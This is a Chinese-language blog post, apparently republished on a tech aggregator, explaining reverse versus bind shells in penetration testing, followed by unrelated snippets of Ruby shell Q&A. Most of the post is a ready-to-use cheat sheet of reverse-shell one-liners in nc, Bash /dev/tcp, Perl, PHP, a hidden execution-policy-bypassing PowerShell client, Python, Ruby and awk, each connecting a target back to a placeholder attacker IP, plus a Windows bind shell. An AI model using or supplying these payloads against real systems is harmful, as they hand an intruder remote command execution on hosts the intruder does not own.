草庐IT

反弹shell篇

Webkio 2023-03-28 原文
近日再进行内网渗透的研究时,想到了反弹shell这一基础操作的重要性。故今日来水一篇,简单的概述一下反弹shell
声明:文中 出现的Payload 仅供网安学习研讨使用。严禁非法使用,否后果自负!

什么时候用反弹shell?为什么要用反弹shell?

我们在碰到的一般的命令执行漏洞中,用户执行的命令可能没有回显,或用户无法直接上传webshell时。我们会采用反弹shell的形式获取目标服务的命令行执行权限



反弹shell与正向shell的区别

  • 反弹shell:
    反弹shell是指 靶机连接攻击机 获取shell

  • 正向shell:
    正向shell是指 攻击机连接靶机 获取shell



反弹shell的那些经验之谈

  • 无论是反弹shell,还是正向shell。在使用之前,我们要确认攻击机与靶机的网络能够正常互通
  • 内网能访问公网,公网访问不了内网(如果在内网进行反弹shell是不行的哦)
  • 还有防火墙限制

以下列举Linux、Windows、Java的反弹执行shell

反弹shell的常见方法 (Linux)

# 攻击机开启监听 所有的反弹shell的第一步 就是攻击机开启监听
nc -lvnp [开放监听的端口]
# 靶机连接攻击机 并送上shell
nc -e /bin/sh [攻击机IP] [端口号]	# Linux
nc -e cmd.exe [攻击机IP] [端口号]	# Windows
  • Bash
# 攻击机开启监听
nc -lvnp [开放监听的端口]
# 靶机连接攻击机
bash -i >& /dev/tcp/[攻击机IP]/[端口号] 0>&1
  • Perl
# 攻击机开启监听
nc -lvnp [开放监听的端口号]
# 靶机连接攻击机
perl -e 'use Socket;$i="[攻击机IP]";$p=[端口号];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • PHP
# 攻击机开启监听
nc -lvnp [开放监听的端口]
# 靶机连接攻击机
php -r '$sock=fsockopen("[攻击机IP]",[端口号]);exec("/bin/sh -i <&3 >&3 2>&3");'
  • PowerShell
# 攻击机开启监听
nc -lvnp [开放监听的端口]
# 靶机连接攻击机
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[攻击机IP]",[端口号]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • Python
# 攻击机开启监听
nc -lvnp [开放监听的端口]
# 靶机连接攻击机
export RHOST="[攻击机IP]";export RPORT=[端口号];python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
  • Ruby
# 攻击机开启监听
nc -lvnp [开放监听的端口]
# 靶机连接攻击机
ruby -rsocket -e'f=TCPSocket.open("[攻击机IP]",[端口号]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • awk
# 攻击机开启监听
nc -lvnp [开放监听的端口]
# 靶机连接攻击机
awk 'BEGIN {s = "/inet/tcp/0/[攻击机IP]/[端口号]"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

还是更多的方法 等下次我再回来填坑



Windows 反弹shell

# 攻击机开启监听
nc -lvvp [端口号]
# 靶机连接攻击机的监听并且送上shell
nc [攻击机IP] [端口号] -e cmd.exe

Windows 正向shell

# 靶机开启监听 放置shell
nc -lvvp [端口号] -e cmd.exe
# 攻击机连接靶机的监听
nc [靶机IP] [端口号]


JAVA反弹shell

# 攻击机开启监听
nc -lvvp [端口号]
# 靶机连接攻击机的监听并且送上shell
bash -c {echo,[攻击机IP/端口号base64编码]}|{base64,-d}|{bash,-i}

声明:文中 出现的Payload 仅供网安学习研讨使用。严禁非法使用,否后果自负!

有关反弹shell篇的更多相关文章

  1. ruby-on-rails - 如何在 ruby​​ 交互式 shell 中有多行? - 2

    这可能是个愚蠢的问题。但是,我是一个新手......你怎么能在交互式ruby​​shell中有多行代码?好像你只能有一条长线。按回车键运行代码。无论如何我可以在不运行代码的情况下跳到下一行吗?再次抱歉,如果这是一个愚蠢的问题。谢谢。 最佳答案 这是一个例子:2.1.2:053>a=1=>12.1.2:054>b=2=>22.1.2:055>a+b=>32.1.2:056>ifa>b#Thecode‘if..."startsthedefinitionoftheconditionalstatement.2.1.2:057?>puts"f

  2. ruby-on-rails - rbenv:从 RVM 移动到 rbenv 后,在 Jenkins 执行 shell 中找不到命令 - 2

    我从Ubuntu服务器上的RVM转移到rbenv。当我使用RVM时,使用bundle没有问题。转移到rbenv后,我在Jenkins的执行shell中收到“找不到命令”错误。我内爆并删除了RVM,并从~/.bashrc'中删除了所有与RVM相关的行。使用后我仍然收到此错误:rvmimploderm~/.rvm-rfrm~/.rvmrcgeminstallbundlerecho'exportPATH="$HOME/.rbenv/bin:$PATH"'>>~/.bashrcecho'eval"$(rbenvinit-)"'>>~/.bashrc.~/.bashrcrbenvversions

  3. ruby - 从 Ruby : capturing the output while displaying the output? 运行 shell 命令 - 2

    我有一个问题。我想从另一个ruby​​脚本运行一个ruby​​脚本并捕获它的输出信息,同时让它也输出到屏幕。亚军#!/usr/bin/envrubyprint"Enteryourpassword:"password=gets.chompputs"Hereisyourpassword:#{password}"我运行的脚本文件:开始.rboutput=`runner`putsoutput.match(/Hereisyour(password:.*)/).captures[0].to_s正如您在此处看到的那样,存在问题。在start.rb的第一行,屏幕是空的。我在运行程序中看不到“输入您的密

  4. ruby - 可以正常中断的来自 Rake 的长时间运行的 shell 命令? - 2

    在几个项目中,我希望有一个类似rakeserver的rake任务,它将通过任何需要的方式开始为该应用程序提供服务。这是一个示例:task:serverdo%x{bundleexecrackup-p1234}end这行得通,但是当我准备停止它时,按Ctrl+c并没有正常关闭;它中断了Rake任务本身,它说rakeaborted!并给出堆栈跟踪。在某些情况下,我必须执行Ctrl+c两次。我可能可以用Signal.trap写一些东西来更优雅地中断它。有没有更简单的方法? 最佳答案 trap('SIGINT'){puts"Yourmessa

  5. ruby - 是否可以从 ruby​​ 脚本返回值并在 c 或 shell 脚本中读取该值? - 2

    我们如何从ruby​​脚本返回值?#!/usr/bin/envrubya="test"a我们如何在Ubuntu终端或java或c中访问'a'的值? 最佳答案 在ruby​​/python脚本中打印你的变量,然后可以通过示例从shell脚本中读取它:#!/bin/bashruby_var=$(rubymyrubyscript.rb)python_var=$(pythonmypythonscript.py)echo"$ruby_var"echo"$python_var"注意你的ruby​​/python脚本只打印这个变量(有更多复杂的方

  6. ruby - 从 FaSTLane 将环境变量传递给 shell 脚本 - 2

    我在跑Fastlane(适用于iOS的持续构建工具)以执行用于解密文件的自定义shell脚本。这是命令。sh"./decrypt.shENV['ENCRYPTION_P12']"我想不出将环境变量传递给该脚本的方法。显然,如果我将密码硬编码到脚本中,它就可以正常工作。sh"./decrypt.shmypwd"有什么建议吗? 最佳答案 从直接Shell中扩展假设这里的sh是一个faSTLane命令,它以给定的参数作为脚本文本调用shell命令:#asafastlanedirectivesh'./decrypt.sh"$ENCRYPTI

  7. ruby - 从 ruby​​ 调用时返回 shell 脚本的状态值? - 2

    我希望这些值匹配。当shell脚本由于某些错误条件而退出时(因此返回非零值),它们不匹配。壳$?返回1,ruby$?返回256。>>%x[lskkr]ls:kkr:Nosuchfileordirectory=>"">>puts$?256=>nil>>exitHadoop:~Madcap$lskkrls:kkr:NosuchfileordirectoryHadoop:~Madcap$echo$?1 最佳答案 在Ruby中$?是一个Process::Status实例。打印$?等同于调用$?.to_s,这等同于$?.to_i.to_s(来

  8. ruby - 为什么 shell 输出经常在其输出中使用 `mixed_characters'? - 2

    我看到反引号(`)(也称为重音符)字符与撇号字符(')混合在一起用于各种命令行输出。当然,为什么在某个地方在线记录了背后的原因/历史,但我找不到在哪里。以下是我所说的几个例子:来自make手册页:Ifmakefileis`-',thestandardinputisread.一些rake输出:.../ruby_koans/koans/about_strings.rb:6:in`test_double_quoted_strings_are_strings'为什么不一致?我想这里更广泛的问题是“为什么不适本地使用‘适当的’单引号或双引号?”但我意识到撇号(和重音符)在“标准”美国键盘上更容易

  9. ruby - 当 shelled-out 命令返回非零退出代码时,如何让 Ruby 脚本失败? - 2

    在Ruby脚本中,有variousways调用系统命令/命令行反引号:`commandarg1arg2`分隔形式,例如%x(commandarg1arg2)(可用其他分隔符)Kernel#system方法:system('commandarg1arg2')Kernel#exec方法:exec('commandarg1arg2')如果我希望Ruby脚本在调用的命令失败时失败(有异常)(具有非零退出代码),我可以检查特殊变量中的退出代码$?对于前两个变体:`commandarg1arg2`failunless$?==0或%x,commandarg1arg2,failunless$?==0如

  10. ruby - "shell out"或 "shelling out"是什么意思? - 2

    如在这些示例中使用的,例如:shellouttobundlefrominsideacommandinvokedbybundleexec或shellouttoaRubycommandthatisnotpartofyourcurrentbundle,http://bundler.io/man/bundle-exec.1.html或i'mshellingouttotheherokucommandintheraketaskhttps://github.com/sstephenson/rbenv/issues/400 最佳答案 这意味着使用反

随机推荐